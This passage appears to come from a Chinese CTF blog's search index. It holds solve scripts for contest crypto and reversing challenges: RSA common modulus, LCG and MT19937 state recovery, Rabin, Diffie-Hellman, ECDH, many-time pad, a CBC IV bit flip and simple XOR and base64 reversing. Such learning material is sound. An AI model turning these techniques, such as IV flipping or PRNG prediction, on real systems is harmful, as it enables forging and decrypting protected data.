22/","excerpt":"8月的比赛了,一共三道题,感觉都还行。","text":"8月的比赛了,一共三道题,感觉都还行。 modus共模攻击,但是三组e,并且任意两组e的公因子均很大;显然还是利用RSA的乘法同态性质去构造出指数为1的情况: y_1 \\;\\equiv\\;x_1\\cdot e_1 + x_2 \\cdot e_2 \\\\1\\equiv t_1 \\cdot y_1 + x_3 \\cdot e_3\\\\1\\equiv t_1 \\cdot(x_1\\cdot e_1+x_2 \\cdot e_2) + x_3\\cdot e_3所以exp为: 123456789101112131415from gmpy2 import *n = 14142010206099386143235977555692857399310494373372334255226213043954222671886219214790080363755519983589419573494262932031062165425660149023699589427423291076757673539031113758789961660789969074666728548356143546954548237178966812807683542026090314756465049840269239582841323515153189937744280883895942616355068450477244038093783025761830910527817275117470273068582606801561816182028771714266926279491448124072638544823523354972471012076902504991756879694948477398253632905720027515230565063830199860044535605314432273647912553716877788661706091962626029470938285869557993283863813783012548154763397158585969860496209e1 = 8044170206501208651566242545498471362911890649958881015968520025930186294576023443506808099677296038797758573489705294289102108150592764180571398770862282775413964383616485564171756065468610971753771700993772575426420613330938626182989999507422559869431997096499661057456703567386749182728255894961711c1 = 11517322714245526592044873592382373283428914348422645739336159016405003731268657488015847458779166523731678788259036486197351408324218938844963108776390284845014868126098529982171539875948326597563481747612010865265679909207769244324752454968172401384300433252342047155447253514663020084257315172025978213587941036806257025876560069777775117798912056950800470305039358493009376541529192357082470617915062674822440632959240104574498373020678875137349967659371746447815516349204225897744273956308472359601558104152900628002351072193856499370256139818744736463310402972428459727204523498170929275318085749369313370330104e2 = 7981110843177277522743262582712207767500318326009118362192817529414323700650435360291001887232564132664914694220334201133850645107707193720930288877874115700468049318771691746592219604611120450612600603061311788240065247605723819417162805390035814213048743243801428908542140081097421519822132590047533c2 = 12907231513900923422005862146378905589636791955213455533815625546155661275692081099543894853443339737652933422555561840945917851059973294781475696342510739464313686827430856742266071924616860913810640580296234473777303348248031669837803543965896443694327322478656672147536068477193332582821244877632320706358476947499828283809012293724747791713411303065091158644428874828519807586496004634361827049528190857803358038226873772036022804215684911051370929474550764142943510840488678370689581686370179457811111602201500802245275266633124851078915997894235280935026230159846619929979668248511374747926732890795947582868735e3 = 8321945773137532897701269832287423438330975369722946793416731752574708023263908693097168458920645511451157398450278461406044452962800707032660103849647429968263806321843635237930345258217128805872313308435747131438472827261934005675575066641207582827978944766548998867180054428477087525524476746729443c3 = 14065425026445215199826296511184881258323064633386950509660192854866326626040354040592178906620984652169865998063876885421774133239148395916412178848784041317916589243316140373118461629430419305769180856968279675982734449182890302977853892881391084830333333875116598959777525928574769839174695101654696531535920235825780434207646161363349309470260223615977113109458426965856166705879375711518022880712089324008258280991081209228374850515248942548172463741894540420262751207821783524890116559086561517224038086473047623408064157594299815732082781632190258405091440187576055868450259807171733509904666142689629066721239y1,x1,x2=gcdext(e1,e2)s,t1,x3=gcdext(y1,e3)# sage中为xgcdprint(s)m=pow(c1,x1*t1,n)*pow(c2,x2*t1,n)*pow(c3,x3,n)%nprint(bytes.fromhex(hex(m)[2:])) xor看到异或往往会想到mod2的矩阵方程,但这题恰好不需要。因为头部flag{这五个字节的信息联立第一组密文已经可以恢复pad数组,然后再用pad数组去依次解每组的$i_3->i_5->i_4->i_2->i_0->i_1$ 12345678910111213141516171819202122232425262728293031323334353637383940414243start = 'flag{'res = [[150, 194, 49, 195, 23, 79, 66], [194, 136, 63, 147, 3, 2, 81], [132, 221, 57, 144, 83, 83, 93], [208, 223, 37, 193, 28, 0, 70], [154, 203, 108, 156, 28, 78, 68], [159, 221, 62, 146, 86, 82, 88], [197, 141, 117, 192, 31, 90, 85]]start_c = res[0]pad0 = start_c[0] ^ ord(start[0]) ^ ord(start[1]) ^ ord(start[2])pad1 = start_c[5] ^ ord(start[2]) ^ ord(start[4]) ^ pad0pad4 = start_c[6] ^ ord(start[0]) ^ ord(start[2]) ^ ord(start[4])pad2 = start_c[1] ^ ord(start[3]) ^ ord(start[4]) ^ pad1pad3 = start_c[3] ^ ord(start[3]) ^ pad1 ^ pad4i5 = start_c[4] ^ ord(start[4]) ^ pad0 ^ pad1print(chr(i5))pad5 = start_c[2] ^ i5 ^ pad1 ^ pad3pad = [pad0,pad1,pad2,pad3,pad4,pad5]def check(out): i = b'flag{9' tmp = [] tmp.append(i[0] ^ i[1] ^ i[2] ^ pad[0]) tmp.append(i[3] ^ i[4] ^ pad[1] ^ pad[2]) tmp.append(pad[5] ^ i[5] ^ pad[1] ^ pad[3]) tmp.append(i[3] ^ pad[3] ^ pad[4] ^ pad[1]) tmp.append(i[5] ^ pad[0] ^ i[4] ^ pad[1]) tmp.append(i[2] ^ i[4] ^ pad[0] ^ pad[1]) tmp.append(i[2] ^ i[0] ^ i[4] ^ pad[4]) if out == tmp: print('验证通过')def decrypt(c): i3 = c[3] ^ pad1 ^ pad3 ^ pad4 i4 = c[1] ^ i3 ^ pad1 ^ pad2 i2 = c[5] ^ i4 ^ pad0 ^ pad1 i0 = c[6] ^ i2 ^ i4 ^ pad4 i1 = c[0] ^ i0 ^ i2 ^ pad0 i5 = c[2] ^ pad1 ^ pad3 ^ pad5 return chr(i0) + chr(i1) + chr(i2) + chr(i3) + chr(i4) + chr(i5)if __name__ == '__main__': check(res[0]) flag = '' for i in res: flag = flag + decrypt(i) print(flag)","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"领航杯2022","slug":"赛事/领航杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%A2%86%E8%88%AA%E6%9D%AF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"NewStarCTF校外赛道","slug":"NewStarCTF校外赛道","date":"2022-10-22T08:58:11.000Z","updated":"2022-10-22T09:58:28.000Z","comments":true,"path":"2022/10/22/NewStarCTF校外赛道/","link":"","permalink":"http://example.com/2022/10/22/NewStarCTF%E6%A0%A1%E5%A4%96%E8%B5%9B%E9%81%93/","excerpt":"题目还是有点东西的,只记录解比较少的。","text":"题目还是有点东西的,只记录解比较少的。 week1chaos纸老虎,一般代码越复杂,逻辑越简单(论文题除外)。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758def LC(key, x, times, flags): (k1, k2) = key xn = [] xn.append(x) if flags: xn.append(1 - 2 * xn[0]**2) else: xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0]) for i in range(times): assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1 if flags: xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1])) else: xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2)) return xn[times + 1]# 首先恢复data和key,这部分不用逆,直接带参数求k1, k2 = 3.967139695598587, 3.7926025078694305k = [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]sum, r = 0, 1for i in range(16): sum += k[i] r ^= k[i]a_1 = (sum / 256) % 1timea1 = 3 + int(1000 * a_1) % 30b_1 = (r / 256)timeb1 = 3 + int(1000 * b_1) % 30xc_1 = a_1 * b_1yc_1 = (a_1 + b_1) % 1key = (k1,k2)data = (a_1, timea1, b_1, timeb1, xc_1, yc_1)#print(data)# 逆一下异或还原flagc = [23, 84, 105, 111, 230, 105, 97, 50, 58, 61, 25, 97, 57, 21, 175, 77, 102, 138, 120, 17, 66, 172, 52, 178, 101, 221, 109, 126, 71, 149, 63, 32, 56, 6, 134, 255, 110, 57, 15, 20, 116]miu, omiga = [], []ta = timea1tb = timeb1flag = []for tmp in c: mi = tmp miu.append(LC(key, a_1, ta, 1)) omiga.append(LC(key, b_1, tb, 0)) flag.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000)) ^ mi) % 256) #print(flag) delta = tmp / 256 for i in range(3): y = (yc_1 + delta) % 1 y = k1 * y ** 3 + (1 - k1) * y x = xc_1 x = k2 * x ** 3 + (1 - k2) * x ta = 3 + int(1000 * x) % 30 tb = 3 + int(1000 * y) % 30print(bytes(flag)) week2ezPRNG1234567891011121314151617181920# 无模数lcgfrom gmpy2 import *from Crypto.Util.number import *r = [32579077549265101609729134002322479188058664203229584246639330306875565342934, 30627296760863751873213598737521260410801961411772904859782399797798775242121, 59045755507520598673072877669036271379314362490837080079400207813316110037822, 29714794521560972198312794885289362350476307292503308718904661896314434077717, 3378007627369454232183998646610752441039379051735310926898417029172995488622, 35893579613746468714922176435597562302206699188445795487657524606666534642489]t1 = r[1] - r[0]t2 = r[2] - r[1]t3 = r[3] - r[2]t4 = r[4] - r[3]t5 = r[5] - r[4]tt1 = t3 * t1 - t2*t2tt2 = t4 * t2 - t3*t3p = gcd(tt1,tt2)# print(p)a = t2 * invert(t1,p) % pb = (r[1] - a * r[0]) % pseed = (r[0] - b) * invert(a,p) % pprint(long_to_bytes(seed)) ezRabin123456789101112131415161718192021222324252627282930313233import gmpy2from Crypto.Util.number import *p=10522889477508921233145726452630168129218487981917965097647277937267556441871668611904567713868254050044587941828674788953975031679913879970887998582514571q=11287822338267163056031463255265099337492571870189068887689824393221951058498526362126606231275830844407608185240702408947800715624427717739233431252556379n=p*qe=2c=59087040011818617875466940950576089096932769518087477304162753047334728508009365510335057824251636964132317478310267427589970177277870220660958570994888152191522928881774614096675980017700457666192609573774572571582962861504174396725705862549311100229145101667835438230371282904888448863223898642183925834109inv_p = gmpy2.invert(p, q)inv_q = gmpy2.invert(q, p)def de_rabin(c): mp = pow(c, (p+1) // 4, p) mq = pow(c, (q+1) // 4, q) a = (inv_p * p * mq + inv_q * q * mp) % n b = n-int(a) c = (inv_p * p * mq - inv_q * q * mp) % n d = n-int(c) return [a,b,c,d]'''e=4的解密,就是做两次e=2的rabin解密,第一次得到4个解,将4个解作为新的c分别再做一次e=2的rabin解密'''result=de_rabin(c)r1=de_rabin(result[0])r2=de_rabin(result[1])r3=de_rabin(result[2])r4=de_rabin(result[3])l = r1 + r2 + r3 + r4for ll in l: print(long_to_bytes(ll>>300)) week3keyExchange12345678910111213from hashlib import *from Crypto.Cipher import AESimport base64gb = 89434791765835058026108803508194156525355359465406829253856379139334424137549915669535243140614128105195584073112084994777148895681804127886440617684648237403345873311011154293855911891719204975035914932661810961867593769891076834656437254428353814290948181922438812745384577094827728409350756648446941874382b = 141940531741414073502483547551457269459744373002985569536254444581939073930343975447649087549033350166772929396986965301002444997704537487577508504709368627174241095027876996113941220579274986994026832534664179333669861059196192190040046004398523932288881838011696679341328520530265002776147308306715042734185p = 133448764119399847876731592238604881175769007976799828874328988761588128500145459082023001027383524831194316266946485380737147372837136403065060245135035225976604193830121124575947440188318348815263642243784574567832213775382081426762862856428888257126982268557543952549848053225651398101391048467656128070913shared = pow(gb,b,p)key = md5(str(shared).encode()).digest()cipher = AES.new(key, AES.MODE_ECB)ptext = cipher.decrypt(base64.b64decode('w8OCrexPPqnv2hR+xKeHhXIp0Blp1DYCV4LeZeeLpv5MzUL71raTOeOs4SQBySHH'))print(ptext) Prof. Shamir’s Secret123456789# modp下的拉格朗日插值 sagemathp = 31332583438236375592937719796184754941510418106758544436807128579095975774977164550965999210436423180868482749439792419270701760326867558983833590368116755394302102816558834270767750410927007254951332459412016857259923960095221831744199277859298274645778838122123090174549834537459028702418645316659860963695912411044490603690484176741018002722235584411422885336520840416125528921196994346534698226763483608314982898155320734426983215291745003213365884087604024203316024824786079501166114638727651689476288442288919373885358425210859822108037791909364199015379638899887715692181883916583183449343868694265742569597579R.<x> = Zmod(p)[] a = (107156592202708719207677242145785380370925248573491581679548864240229105117413, 130345771647598884054430192964980389494531690916321281560051538057910945565624075918097771618618910263287152864051564635195578796179646674192491555857366963976329072793625649841007238934532144994966695961491116944111900519450656607199501654544809304677384301432194356761274376314501143216649135187625964931902)b = (100626477579781167218124067468465940736522526684796828200460725563611057086831, 107938673826832098883774065383352754899611421173786919174851524067358319831595518533880365335333592351382030254987030861475878447430100862628809476494215295084769705787398168068863060859122952000010558086859754975554734850230223040925027217057055876423229204027280075168615462165634569977166298865366648414270)c = (90629424458637844580841178302065768114471702341586161908858665404968070428143, 78858394764644720845979385422903377630845158220853604360871859882044655577246282808874532941560824773914594412415345616068416548364923695233972936176087206729847544516343237888024173952758718279163069742944961359652574962129434781851767007643037433981750489254639449637677610354746497770492254725894119193662)d = (93935717805931479760310332373603550626215862380271563609987050092246456803681, 87807687834883656794449107852803757931909462710953942209358337840912886376275257864214018767300085688088981183791568376874906785193974861264511995029891797395218085734556515485224508250678274640400740193260888803386269425525930551167801371074041851406813322268615707951973495879968706624649318162995708734670)f = R.lagrange_polynomial([a,b,c,d])print(f) One Time PadMTP而已。首先利用出题人给的kasiski_test计算key的长度,然后参考这位爷的博客,按照MTP的攻击方式改一下脚本即可: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899from libnum import *import stringfrom pwn import *import binasciidef kasiski_test(file, length=3): with open(file,'rb') as f: ciphretext = f.read() f.close() dup_sturct = [] for i in range(len(ciphretext) - 3): sub_struct = ciphretext[i:i+length] if ciphretext.count(sub_struct) >= 2: dup_sturct.append(sub_struct) possible_range = set() for d in dup_sturct: start = [] i = 0 while i+length < len(ciphretext): if d == ciphretext[i:i+length]: start.append(i) i += 1 diff = [] for i in range(len(start) - 1): diff.append(start[i+1] - start[i]) possible_range.add(gcd(*diff)) gcd_list = [] for i in product(possible_range, repeat=2): gcd_list.append(gcd(i[0],i[1])) gcd_elem = set(gcd_list) pre_sort = [] width = 0 for i in gcd_elem: pre_sort.append((i, gcd_list.count(i) / len(gcd_list))) width = max(width, len(str(i))) pre_sort.sort(key = lambda t:t[1]) for t in pre_sort[::-1]: print(f'key length: {str(t[0]).rjust(width, " ")} with probability {t[1]}') return pre_sort[-1][0]filename = 'encrypted_book'keylen = int(kasiski_test(filename))print(f"key 长度为:{keylen}")# ff = open('encrypted_book','rb')# l = []# cipher = ff.read().strip()# print(cipher)# f1 = open('Problem.txt','w')# for i in range(0,len(cipher),5):# tmp = str(binascii.b2a_hex(cipher[i:i+5]))[2:-1]# f1.write(tmp+'\\n')# f1.close()import Crypto.Util.strxor as xoimport libnum, codecs, numpy as npdef isChr(x): if ord('a') <= x and x <= ord('z'): return True if ord('A') <= x and x <= ord('Z'): return True return Falsedef infer(index, pos): if msg[index, pos] != 0: return msg[index, pos] = ord(' ') for x in range(len(c)): if x != index: msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')dat = []def getSpace(): for index, x in enumerate(c): res = [xo.strxor(x, y) for y in c if x!=y] f = lambda pos: len(list(filter(isChr, [s[pos] for s in res]))) cnt = [f(pos) for pos in range(len(x))] for pos in range(len(x)): dat.append((f(pos), index, pos))c = []for x in open('Problem.txt', 'r').readlines(): x = str(x.encode()[:-1])[2:-1] tmp = binascii.a2b_hex(x) c.append(tmp) print(tmp)print(c)c = c[:-1]msg = np.zeros([len(c), len(c[0])], dtype=int)getSpace()dat = sorted(dat)[::-1]for w, index, pos in dat: infer(index, pos)print('\\n'.join([''.join([chr(c) for c in x]) for x in msg])) AES?AES解密,然后拿去恢复mt19937,要用MT19937Predictor这个轮子,randcrack需要32bit伪随机数,不太好分割。 1234567891011121314151617181920212223242526272829303132333435363738from Crypto.Cipher import AESfrom binascii import a2b_hexfrom mt19937predictor import MT19937Predictorf = open("msg.txt", 'rb')old_key = b'73E5602B54FE63A5'old_iv = b'B435AE462FBAA662'random_64 = []random_32 = []for i in range(208): aes = AES.new(old_key,AES.MODE_CBC,old_iv) c_tmp = f.readline()[:-2] c_tmp = a2b_hex(c_tmp) #print(c_tmp) m_tmp = aes.decrypt(c_tmp) m_hex = m_tmp.strip(b'\\x00') if len(m_hex) == 24: random_64.append(int(m_hex[:16],16)) random_32.append(int(m_hex[16:],16)) else: random_64.append(int(m_hex[:15],16)) random_32.append(int(m_hex[15:],16))Pre = MT19937Predictor()for i in range(208): Pre.setrandbits(random_64[i],64) Pre.setrandbits(random_32[i],32)c = a2b_hex('c82dc20b7512d03f1a0982eb8a6e855db20f6fe3ff8d202a6fb74c6522fa6e623c6abe6725cafe78f9624ad59f3e90af6f985f38f75ec4d62ff7e02bd7c2f051')salt = "{:X}".format(Pre.getrandbits(32)).encode('utf-8')#print(salt)key = "{:X}".format(Pre.getrandbits(64)).encode('utf-8')iv = "{:X}".format(Pre.getrandbits(64)).encode('utf-8')print(key,iv)dec = AES.new(key,AES.MODE_CBC,iv)print(dec.decrypt(c)) week4LCG Revenge三阶而已,类似普通lcg逆推十次: 12345678910111213from Crypto.Util.number import *from gmpy2 import *a = 18038175596386287827b = 15503291946093443851c = 17270168560153510007p = 307956849617421078439840909609638388517r = [255290883651191064919890629542861653873, 221128501895959214555166046983862519384, 108104020183858879999084358722168548984]for i in range(10): tmp = (r[-1] - c * r[-2] - b * r[-3]) * invert(a, p) % p r = [tmp] + r[:-1]for i in range(3): print(long_to_bytes(r[i])) 代数关系理论上,用$k\\cdot phi$求逆解rsa结果也是一样的,故只要得到$phi$的倍数即可。 123456789101112131415161718192021from Crypto.Util.number import *from gmpy2 import *n = 714592173868259951547903824656567142382519201815807137392662736000480461106944240411907971077744283561181468187349950157770542641452016168710768060100431878635594871092115167496636869765435245733216244455291669985854820686150487479060100362374214950338593785006799039892489525125499595277195821419495485780569578409849268011672935670978669183434574625404664252352238179018153026065565737180327403650490113961989352069795255693066847568569258596045200617988242378417608661573561288798387013713959291514998718810340095720086582431808535500784877130015856483311803720730193251968718389940211890886176473856457082812043712013634688479195044004890584238387779313840532514565194377261080408568578839974414957533288241409106206637332990105576057838430267703746376981194305776942499262213827373958311438790046259142383469934115411137484269094594634801601455381187640866738280586324069047262621776502056490534194678730988305691412586133810702956723819024793893235153104715079346666767828770304227597496868066084967074574249861996861449220457370695654952738759446674531850565616794250604969906523629086439326216263355721761747979532714573810102811235244618245569028203230483116293028005467298691574981713677092048315265963514382056811642161463e1 = 42407e2 = 42299e3 = 64279c1 = 147746559360802924168767659277705450630485609696398746571701418818848770182885487620535212747337538428905143459150636194921920646777706320249140903061217676389530668645622949973659702291367297066656754690100263868506461956113055815101461657779702873682097533482492493899104205046186278766341878854368500917007433940486307279045874511368494257897755625125620904196433190777249505786257092826031743302124873284619940344765699423310728402472381757497703327215054987663079091464775324695334786123993004899881875932719629531115443494782427464033199136840262965875592542948702903121840007890458510167896574258848373182376940828605330277069434815885568024582498080844909563591272397488770838751339866638704837915487427276557777372613819511517108295620835412232055690690331814390700825513053666493393942792555525632325524757429986865995789852014588602452362551730826736918369894537815766447265166762601145909581089407049818337486974627574263275878986623999208215467068257094963543761810512552366121738916812287617877452022267220425292446818899145860109087267084524150679796547645233300059224249369109340663349590685107672065377058337980842108933489505620025066451603214522163014130542079244955200533246817511795384645564870718654306017093880c2 = 337796038485337223816475984950456810748129968181260652436798659350041388661303298381024293567858637131784295193867689006379455173201801538614335070721020735891108350570605513554850505589909457080361317990263630725721623909042708574097188905696426452814443072330582517110013425687309570310925148848467651593011914844474279987415423796247841257536637823609202705263533635281512231854231077727153008468034663708367221732104195468247696442441086937944990689793952230215990824397909249441015759060017517894957594510803336664512608128010545289784049784177611524398804382654716236024276493647659224649016999444437679713035528891917192417814659613017511330578462974624880551299057883811283033946146889355467779050967361027087080352841747836678980418533840472145655131425703508683270849398801701504340623072029235085830962038699908963834215641154556517289466852886243166207700576530398250363365976100132377349909530093158372007815925018963904011651612576427055409180229217198739845333777332027781322479300353269326257620342214186859996302004152073249996007973827806898128006273636862496964659067036495886736584255338505886284353124133030688669501417184690143652760207937780991619589875885728364937580912382631625198455389969845802240231827163c3 = 424077500283538548695429029734927642518438524525805172568745880982861798954369892065855075306396658578715593140988681322211943800827469098807795208943724228288132152970084568728843669855312178059145983168245747282178118927927118026053179993918910256713266934916520151359475678446638810022833365506023312578408649890108868706577071610442415250434663703848788000124360027832658586954993369200881819393055860013390887044444898844318376925700215369036711799193621862491000483927756231147580685621531144248717419030824674055599055717010063636336702022163459269369324701987636772581709509640297923613071083421937504088720011643179567005037514310053762735787172663099935520119785909997287518567706508640150762285653766660798661964916169965639164375045609322144422628622388969490052285300841751657575450486389268063959043056821417358486314747981330380819421643688151487077209015995287339609841113765813462834471270766622938036101602597257457988755053683191621395473412095142041134027974560324126052952093513827172817662085883985649068515306916979488707694772473239863027480932340145990906115024722682989661592015805559935349596282010900810573490368602483785908673810154811269934225750196861258621132739166572297393817253205915435333491161203gift_from_fallwind = 436057126906623515829218011238744316017674469205661117597268470150957758251976942445150879861108983042930734360653000973980600283904101499137333865224021780243160123582776537464659885717072177232387979780155820186376822704547514869653697300455384885557911728798950305201936973078685581794365075352341541134238714464727825137128067542739078985472265837037034067906587445615146595102552611894550913742780821268889878629177560903295511218320565910385133911886947889495561650713735268032963799756628442264275798506978864616008762967965435601210553178014009864471368535327898667309420704800396343299194692424445757081230545316510925050736165766681764700768348825662815908360495749201689747586178884303154943439689695756080847567228630187446741488386672483582019385735879376786013583105010830909520853067056907311999554079858869757789193026155282645740531423042696088661716948429683650063340097187696375083991311139748519133745606598795309849873485013934772051034350080361176801194568727665884824462291930504184029406404464952205159309484625000859491407470043008763418189126078287693565790619787102318883565462574011050013632489624673181763059753755492153825048101618871500056894854231049792292739927027237110872703608633932490764567008732# 也就是这里可以求出kphikphi = (e1*e2*gift_from_fallwind +e2 - e1)print(kphi)d1 = invert(e1,kphi)d2 = invert(e2,kphi)d3 = invert(e3,kphi)m1 = long_to_bytes(pow(c1,d1,n))m2 = long_to_bytes(pow(c2,d2,n))m3 = long_to_bytes(pow(c3,d3,n))print(m1+m2+m3) week4An der schönen Elliptische Kurve简单ecdh 1234567891011121314151617181920212223from Crypto.Cipher import AESfrom hashlib import md5from binascii import a2b_hexa = 14489b = 10289p = 7486573182795736771889604737751889118967735916352298289975055815020934891723453392369540853603360270847848895677903334441530052977221688450741083448029661F = GF(p)E = EllipticCurve(F, [a, b])Pub = (1285788649714386836892440333012889444698233333809489364474616947934542770724999997145538088456652601147045234490019282952264340541239682982255115303711207,1081635450946385063319483423983665253792071829707039194609541132041775615770167048603029155228167113450196436786905820356216200242445665942628721193713459)Pub = E(Pub)Private = 2549545681219766023689977461986014915946503806253877534915175093306317852773c = '2f65ff4a97e0e05c06eab06b58ea38a3d5b6d2a65ea4907bc46493b30081a211d7cffc872a23dbd565ef307f9492bb23'iv = 'd151c04c645c3e2a8d3f1ae44589ef20'c = a2b_hex(c)iv = a2b_hex(iv)shared = Private*Pubkey = md5(str(int(shared.xy()[0])).encode()).digest()cipher = AES.new(key, AES.MODE_CBC, iv)m = cipher.decrypt(c)print(m) flip-flop简单的字节翻转,因为iv可控所以可操作。 123456789101112import binasciifrom pwn import xoradmin = b'AdminAdmin______'guest = b'NewStarCTFer____'c_hex = '3ba7d4c8d162c6d8fbb5f403f90e7d5456a955c7a7b10aa05be8234d97ba079f'iv = binascii.a2b_hex(c_hex[:32])c = c_hex[32:]fake_iv = xor(admin,guest)fake_iv = xor(fake_iv,iv)print(str(binascii.b2a_hex(fake_iv))[2:-1]+c)","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"新生赛合集","slug":"赛事/新生赛合集","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/"},{"name":"NewStarCTF2022","slug":"赛事/新生赛合集/NewStarCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/NewStarCTF2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"新生赛","slug":"新生赛","permalink":"http://example.com/tags/%E6%96%B0%E7%94%9F%E8%B5%9B/"}]},{"title":"SWPU NSS新生赛(校外通道)","slug":"SWPU-NSS新生赛(校外通道)","date":"2022-10-17T05:18:45.000Z","updated":"2022-10-17T05:28:02.000Z","comments":true,"path":"2022/10/17/SWPU-NSS新生赛(校外通道)/","link":"","permalink":"http://example.com/2022/10/17/SWPU-NSS%E6%96%B0%E7%94%9F%E8%B5%9B%EF%BC%88%E6%A0%A1%E5%A4%96%E9%80%9A%E9%81%93%EF%BC%89/","excerpt":"​ 逆向入门ing…","text":"​ 逆向入门ing… 贪吃蛇玩够60分就行,动调我还不太熟:) babyre字符串里 The flag is: NSSCTF{this_is_the_first_flag} easyre字符串里 NSSCTF{oh_you_find_it} base64字符串里找到TlNTQ1RGe2Jhc2VfNjRfTlRXUTRaR0ROQzdOfQ==,base64解密即可 base64-2字符串窗口可定位码表:NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/ 逻辑都不需要看了,换表而已,脚本处理下即可: 123456789import stringold = string.ascii_uppercase + string.ascii_lowercase + string.digitsnew = 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/'c = 'GyAGD1ETr3AcGKNkZ19PLKAyAwEsAIELHx1nFSH2IwyGsD'oldc = ''for i in c: tmp = new.index(i) oldc = oldc + old[tmp]print(oldc) xor123c = 'LQQAVDyZMP]3q]emmf]uc{]vm]glap{rv]dnce'for i in c: print(chr(ord(i)^2),end='') android反编译成java源码,在mian类里明文可见:NSSCTF{a_simple_Android} upxupx脱壳,所有位异或2得flag 123c = 'LQQAVDyWRZ]3q]zmpf]uc{]vm]glap{rv]dnce'for i in c: print(chr(ord(i)^2),end='') py1参考博客,安装了最新的pyinstxtractor,最新的uncomepyle6,然后一步步反编译得到py源码。直接可以看到flag: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.9.5 (tags/v3.9.5:0a7dcbd, May 3 2021, 17:27:52) [MSC v.1928 64 bit (AMD64)]# Embedded file name: re1.pyimport os, timeprint("Welcome to NSS,Let's play a game~ if you answer the questions you'll get flag")time.sleep(3)print("First, Let's look look some easy Reverse")time.sleep(3)print('Please answer : 2684 XOR 2486 = ?')while True: scanf_0 = input() if scanf_0 == '970': print("That's right! And next...") break else: print('Oh,Something gose wrong,Try again?') continuetime.sleep(2)print("Let's try reverse it! Please answer : 258 XOR ? = 369")while True: scanf_1 = input() if scanf_1 == '115': print('good!') break else: print('Try again?') continuetime.sleep(2)print('You know that the number can be XOR now,but how letters xor?')time.sleep(2)print()print('The last level is : a XOR z = ?')print("tips: '?' is a number.")while True: scanf_2 = input() if scanf_2 == '27': print('Wow~ Great! and the flag is...') time.sleep(10) print('NSSCTF{k0nw_of_r3}') os.system('pause') else: print('you are close to victory, Come on!') continue# okay decompiling re1.pyc py2类似py1恢复源码,base64解密 1234567891011121314151617# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.9.5 (tags/v3.9.5:0a7dcbd, May 3 2021, 17:27:52) [MSC v.1928 64 bit (AMD64)]# Embedded file name: re2.pyimport base64print("Input 'start' to start game:")scanf = input()if scanf == 'start': exit(0)else: if scanf == 'TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K': print(base64.b64decode('TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K'.encode('UTF-8'))) os.system('pause') else: print("Please input 'start' to start game~")# okay decompiling re2.pyc# NSSCTF{ohhh!_3asy_pyre} pypy甚至不需要将exe反编译为pyc,直接给的pyc文件,恢复得到源码: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.9.5 (tags/v3.9.5:0a7dcbd, May 3 2021, 17:27:52) [MSC v.1928 64 bit (AMD64)]# Embedded file name: 1.py# Compiled at: 2022-09-17 15:54:07# Size of source mod 2**32: 1433 bytesdef init_S(): global S for i in range(256): S.append(i)def init_T(): global Key global T Key = 'abcdefg' keylen = len(Key) for i in range(256): tmp = Key[(i % keylen)] T.append(tmp)def swap_S(): j = 0 for i in range(256): j = (j + S[i] + ord(T[i])) % 256 tmp = S[i] S[i] = S[j] S[j] = tmpdef Get_KeyStream(): global KeyStream global text txtlen = len(text) j, t = (0, 0) for i in range(txtlen): i = i % 256 j = (j + S[i]) % 256 tmp = S[i] S[i] = S[j] S[j] = tmp t = (S[i] + S[j]) % 256 KeyStream.append(S[t])def Get_code(): res = [] for i in range(len(text)): res.append(ord(text[i]) ^ KeyStream[i]) return resif __name__ == '__main__': T, S, Key = [], [], [] PlainText, CryptoText, KeyStream = '', '', [] text = input('please input you flag:\\n') if not text: print('bad') exit() init_S() init_T() swap_S() Get_KeyStream() res = Get_code() print(res) for i, ele in enumerate(res): if not ele == [84, 91, 254, 48, 129, 210, 135, 132, 112, 234, 208, 15, 213, 39, 108, 253, 86, 118, 248][i]: print('bad') exit() print('good')# global CryptoText ## Warning: Unused global# global PlainText ## Warning: Unused global# okay decompiling pyAndR.pyc 简单逆一下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051def init_S(): global S for i in range(256): S.append(i)def init_T(): global Key global T Key = 'abcdefg' keylen = len(Key) for i in range(256): tmp = Key[(i % keylen)] T.append(tmp)def swap_S(): j = 0 for i in range(256): j = (j + S[i] + ord(T[i])) % 256 tmp = S[i] S[i] = S[j] S[j] = tmpdef Get_KeyStream(): global KeyStream global text txtlen = 19 j, t = (0, 0) for i in range(txtlen): i = i % 256 j = (j + S[i]) % 256 tmp = S[i] S[i] = S[j] 